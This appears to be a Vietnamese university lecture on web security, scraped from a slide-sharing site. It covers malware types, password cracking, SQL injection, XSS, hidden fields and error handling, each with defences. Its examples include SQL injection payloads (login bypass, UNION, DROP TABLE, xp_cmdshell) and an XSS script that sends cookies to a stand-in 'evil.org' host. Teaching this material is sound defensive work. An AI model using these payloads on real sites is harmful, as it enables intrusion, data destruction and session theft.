540 likes | 784 Views
Bài 11 Web Security. Ths . Trần Thị Bích Hạnh. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh Các Công cụ hỗ trợ kiểm tra bảo mật Web. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh
E N D
Bài 11Web Security Ths. TrầnThịBíchHạnh
Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web
Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web
Threats & Vulnerability • Threats • Hànhđộnghoặcsựkiệngâyhạiđếnhệthống • Vulnerability • Lỗhổnghoặcđiểmyếucủahệthốngmàtừđóchophépngườikhácxâmnhậpvàohệthống
Malicious Software • Virus • Cácchươngtrìnhcókhảnăngtựnhânbảnvàlâynhiễmvàocáctập tin trênmáytính • Khingườidùngthựcthimộttập tin bịnhiễm virus sẽkíchhoạt virus hoạtđộng • Trojan • Chươngtrìnhthuthậpthông tin dữliệutừmáytính • Worm • Cácchươngtrìnhcókhảnăngnhânbảntừmáytínhnày sang máytínhkhácnhằmmụctiêuchiếmthờigianxửlý CPU vàthờigianđểxóachúng
Bảovệứngdụng • Sửdụng Firewall • SửdụngChươngtrình Anti-virus • SửdụngChươngtrình Anti-spyware
Password Cracking • Phươngpháplưumậtkhẩu • Khôngmãhóa • Mãhóa 2 chiều • Mãhóa 1 chiều • Password cracking • Brute force attack • Dictionary attack
Password Cracking (tt) • Brute force attack • Mãhóahàngngàn passwords cósẵnbằnghàm hash • So sánhkếtquảvớidữliệu hash trong database • Dictionary attack • Lưudanhsáchcác username & password thôngdụng • Dùngcácthông tin nàyđểthửđăngnhậphệthống
Bảovệmậtkhẩu • Giớihạnsốlầnđăngnhậpthấtbại • Sửdụngmậtkhẩumạnh (strong password) • Chiềudàitốithiểu • Khôngsửdụngcáctừtrongtựđiển, dãykýtựliêntiếp • Kếthợpchữcái, kítựsố, kítựđặcbiệt • Chứngthựcngườidùngkhiđổi & reset mậtkhẩu • Khithayđổimậtkhẩu, nênchứngthựclạingườidùng: mậtkhẩucũ, tàikhoảnngườidùng… • Khinhậnđượcyêucầu reset mậtkhẩu, cũngnênxácnhậnlạiyêucầu reset • Sửdụngcácgiaothứcđáng tin cậykhixửlýmậtkhẩu
E-mail Attacks • E-mail Bombing • Gửicùngmột email nhiềulầnđếnmột user • Mụctiêuchiếmđườngtruyềnvàxửlýcủa mail server • E-mail Spamming • Gửi email đếnnhiều user • Thườngsửdụng mailing list
Bảovệ Email • Khônghiểnthịđịachỉ email trên web <a href=mailto:yourmail@gmail.com>Gui mail</a> • Sửdụnghìnhảnhhoặckýtựđặtbiệtđểthaythế Ttbhanh at fit dot hcmuns dot edu dot vn • Thiếtlập rule cho mailing list chỉnhận email từ mail nộibộ • Sửdụng CAPCHA đềphòngnhậpliệutựđộng…
Denial-of-Service (DoS) Attacks • Gửiliêntiếpnhiềuyêucầuđến server • Mụctiêu • Chiếmđườngtruyềnmạng • Chặnkếtnốigiữahaimáytính • Làmcho server khôngcókhảnăngphụcvụ client
Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web
Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error
Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error
SQL Injection • Mộtkĩthuậtchophépnhữngkẻtấncônglợidụnglỗhổngtrongviệckiểmtradữliệunhậptrongcácứngdụng web vàcácthôngbáolỗicủahệquảntrịcơsởdữliệuđểđưavàovàthihànhcáccâulệnh SQL bấthợppháp
Cácdạngtấncông SQL Injection • Vượt qua kiểmtralúcđăngnhập (authorization bypass) • Lấydữliệu • Thayđổidữliệu • Gọithựcthichươngtrìnhkhác
VượtKiểmtralúcđăngnhập • Câu SQL thườngdùngtrongđăngnhập: strSQL = "SELECT * FROM Users " + "WHERE Username='" + strUsername + "'" + " and Password='" + strPassword + "'"
VượtKiểmtralúcđăngnhập (tt) • Đểvượt qua, ngườidùngnhập: strUsername: ' or ''=' strPassword: ' or ''=' • Câu SQL lúcnày: SELECT * FROM Users Where Username ='' or ''= '' and Password ='' or ''= '' Câu SQL này luôn đúng, và trả về tất cả thông tin trong bảng Users
Lấydữliệu - Sửdụngcâu Select • Xem chi tiết 1 bản tin • http://www.myhost.com/shownews.aspx?ID=123 • Code xửlý string ID = Request.QueryString[“ID"]; string strSQL = "select * from News where NewsID=" + ID; • Nếungườidùngthaychỗ123bằngchuỗi0 or 1=1 • Khiđócâulệnh SQL: • select * from News where NewsID=0 or 1=1 Kết quả là sẽ hiện tất cả tin tức
Lấydữliệu - Sửdụngcâu Select & Union • Mộtsốvídụkhác • ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' • ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION Liệt kê tên tất cả các bảng dữ liệu
Thayđổidữliệu - Sửdụngcâulệnh Insert • Câulệnhdùng: string strSQL = "INSERT INTO TableName " + "VALUES('" + strValue1 + "','" + strValue2 + "','“ + strValue3 + "')" • Nếungườidùngnhậptrườngthứnhất (strValue1) '+(SELECT TOP 1 FieldName FROM TableName)+' • Khiđócâulệnh SQL: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') Ngoàilệnh Insert, thìcâulệnhnàycònthựchiệnlệnh Select
Thayđổidữliệu – Sửdụngcâulệnh Update & Drop • ; DROP TABLE <Tên Table> -- • ; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’ • ‘ UNION UPDATE USERS SET PASSWORD=‘your pass’ WHERE username=‘admin’ Xóa bảng dữ liệu Tạođịachỉ email mớisauđósửdụngchứcnăng password recovery Thiếtlậpmậtkhẩumới
Gọithựcthichươngtrìnhkhác - Sửdụng stored-procedures • Thựcthivớiquyềnquảntrịhệthống ‘sa’ • '; EXEC xp_cmdshell 'cmd.exe dir C:' • Việcpháhoạikiểunàotuỳthuộcvàocâulệnhđằngsau cmd.exe. Thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server
Cách phòng tránh • Kiểmsoátchặtchẽdữliệunhậpvào • Viếthàmlọccáckýtựđặcbiệttrongchuỗinhậpvào • Vd: " ", "'", ";", "--", "xp_", "select", "drop","insert", "delete" • Thiếtlậpcấuhình an toànchohệquảntrịcơsởdữliệu • Giớihạnquyềnxửlídữliệuđếntàikhoảnngườidùng • Tránhdùngđếncácquyềnnhưdbo hay sa.
Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error
XSS (Cross-Site Scripting) • Mộtkĩthuậtchophépnhữngkẻtấncônglợidụnglỗhổngtrongviệckiểmtradữliệunhậptrongcácứngdụng web vàcácthôngbáolỗinhằmchènnhững đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng
Pháthiệnlỗhổng XSS • Vào website cầnkiểmtra • Địnhvịcác form nhậpliệu: search, login form, querystring… • Nhậphoặcchènđoạn script vào form nhậpliệuhoặctrênđườngdẫnurl & submit. Vídụ <script>alert(‘XSS’);</script> • Nếuthấycửasổ alert xuấthiệnthì website cólỗhổng XSS Ref: http://ha.ckers.org/xss.html
Tấncông XSS – Vídụ <script>i=new Image(); i.src="http://www.evil.org/getcookie.aspx?cookie=" + escape(document.cookie);</script>
Cáchphòngtránh • Kiểmtradữliệunhậptừngườidùng • Chỉchấpnhậnnhữngdữliệuhợplệ • Lọccáckýtựđặcbiệt • Pháthiệncácthẻ script • Mãhoá (encoding) cáckítựđặcbiệttrướckhi in ra website nhằmngănchặn website tựthựcthicác script khôngmongmuốn
Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error
Hidden Field Vulnerability • Làthông tin ẩntrongtrang web, đượcthểhiệndướithẻ <input type=“hidden” value=“xyz” /> • Khônghiểnthịlêntrìnhduyệt • Cóthểxemđượcvớichứcnăng View Source
Cáchphòngtránh • Mãhóadữliệulưutrong Hidden Fields • Khônglưucácdữliệunhạycảmtrong Hidden Fields
Mộtsốlỗhổngbảomật Web & cáchphòngtránh • SQL Injection • XSS (Cross-Site Scripting) • Hidden Field Vulnerability • Failing to Handle Error
Failing to Handle Error • Hệthốngkhôngtựxửlýlỗivàđểcácthôngbáolỗi chi tiếthiểnthịnhữngthông tin quantrọnggiúpkẻtấncôngxâmnhậphệthống
Cáchphòngtránh • Bắt & Xửlýlỗi try { … } catch (Exception ex) { … } • Tựhiểnthịtrangthôngbáolỗi – CấuhìnhWeb.Config <customErrors mode="On" defaultRedirect="ErrorPage.htm"> <error statusCode="404" redirect="NotFound.htm" /> <error statusCode="500" redirect=“ServerError.htm" /> </customErrors> • http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Nội dung • MộtsốkháiniệmvềBảomật • Mộtsốlỗhổngbảomật Web & cáchphòngtránh • CácCôngcụhỗtrợkiểmtrabảomật Web
Cáccôngcụhỗtrợkiểmtrabảomật Web • Nikto • Open Source (GPL) web server scanner • Paros Proxy • Cho phépxem/sửa HTTP/HTTPS messages on-the-fly đểthayđổi cookies, form fields,… • Acunetix WVS • Commercial Web Vulnerability Scanner • … • Ref: http://sectools.org/web-scanners.html